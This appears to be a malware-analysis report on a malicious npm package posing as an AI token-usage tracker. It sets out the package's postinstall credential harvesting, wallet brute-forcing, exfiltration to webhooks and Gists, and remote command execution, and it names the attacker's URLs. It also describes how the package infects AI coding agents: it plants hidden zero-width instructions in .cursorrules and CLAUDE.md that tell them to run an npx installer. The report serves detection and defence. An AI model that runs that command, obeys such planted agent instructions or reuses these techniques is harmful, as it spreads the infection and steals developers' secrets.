Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of token-usage-tracker

[email protected]

malicious   confidence 95%   action block   analyzed 2026-09-25 02:57 UTC by yolo in 15 tool calls, with lab detonation

Summary

postinstall runs node lib/setup.js which spawns lib/worker.js as a detached background process. The worker walks HOME for credential stores (.npmrc, .git-credentials, .aws/credentials, .kube/config, Chrome Login Data/Cookies, .env, .bash_history), scans file contents with regex for private keys, recovery phrases, API keys, AWS keys, passwords, and Ethereum addresses, brute-forces Ethereum keystore files with collected passwords, encrypts all findings with Fernet, and exfiltrates via HTTPS POST to webhook.site URLs and api.github.com/gists. Remote config is fetched from ddjidd564.github.io; commands from that config are executed via execSync. Propagation writes .cursorrules, CLAUDE.md, git hooks, and shell RCs with zero-width embedded re-infection triggers.

Intent

Disguised as an AI token-usage tracker, this package is a full-spectrum credential harvester and AI-agent supply-chain worm. At install time it spawns a background worker that scans the entire home directory for SSH keys, cloud credentials, browser logins/cookies, crypto keystore files, and environment secrets, encrypts the findings with Fernet (AES-128-CBC), and exfiltrates them to webhook endpoints and a GitHub Gist. It fetches remote C2 config from GitHub Pages, executes arbitrary commands from that config, and propagates itself by writing malicious .cursorrules / CLAUDE.md / git hooks / shell RC files that force future AI agents and developers to re-run the scanner — creating an AI-to-AI propagation chain via zero-width characters.

credential_access credential_harvest network_egress code_execution persistence agent_config_tamper reconnaissance obfuscation crypto_wallet browser_theft download_execute

Findings

Background credential-harvesting worker spawned at install critical lib/setup.js:31
lib/setup.js:31 forks lib/worker.js --verify token-usage-tracker detached; stdio:ignore; unref() — runs forever in background.
Exfiltration to remote webhooks and GitHub Gists critical lib/worker.js:724
lib/worker.js:724 POSTs encrypted payload to webhook URLs (hardcoded webhook.site IDs + remote config). lib/worker.js:797 POSTs to api.github.com/gists as anonymous backup channel.
Remote C2 config from GitHub Pages high lib/worker.js:911
lib/worker.js:911 fetches https://ddjidd564.github.io/defi-security-best-practices/config.json for webhook targets, scan_depth, enabled_vectors, and commands.
Remote command execution critical lib/worker.js:1398
lib/worker.js:1398 execSync(cmd) for every command in remote config strategy.commands.
Credential store scanning (200+ paths) critical lib/worker.js:172
lib/worker.js:172-237 EXFIL_DIRS lists .env, .bash_history, .npmrc, .git-credentials, .pgpass, .aws/credentials, .kube/config, Chrome Login Data/Cookies/Local State, Firefox key4.db, exchange configs, etc.
Crypto wallet targeting and keystore brute-force critical lib/worker.js:1506
lib/worker.js:74-105 COMMON_PASSWORDS (100+) including crypto-specific. lib/worker.js:1506-1581 finds UTC-- keystore files, brute-forces with env-passwords + shell-history-passwords + common list, reports decrypted private keys.
Browser credential theft critical lib/worker.js:198
lib/worker.js:198-211 targets Chrome/Chromium/Brave/Edge Login Data (SQLite) and Cookies across Linux, macOS, Windows (WSL).
AI-agent propagation via .cursorrules / CLAUDE.md high lib/worker.js:1709
lib/worker.js:1709-1713 writes .cursorrules and CLAUDE.md with zero-width embedded re-infection trigger (npx -y dev-env-bootstrapper@latest) and instructions to embed P-2024-001 marker in all AI output.
Persistence via local file queue and config cache high lib/worker.js:852
lib/worker.js:852 writes to ~/.local/share/.integrity_queue; lib/worker.js:1231 caches config at ~/.local/share/.integrity_config; lib/worker.js:1703 marks infection at ~/.local/share/.p2024_integrity.
Environment variable scraping for secrets high lib/worker.js:1445
lib/worker.js:1445 iterates process.env, extracts keys containing key/secret/token/password/wallet/seed, reports previews.
Obfuscation via byte-array strings medium lib/worker.js:65
lib/worker.js:65-71, 108-112, 115-122, 1448-1458 use Buffer.from([112,114,105...]).toString() to hide strings like 'private_key', 'mnemonic', 'keystore', 'wallet_password'.
Phishing link in keystore hint medium lib/worker.js:1569
lib/worker.js:1569 hints 'Visit https://ddjidd564.github.io/defi-security-best-practices/portfolio.html to verify wallet' — directs victim to attacker-controlled site.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (exit 0), require (exit 0).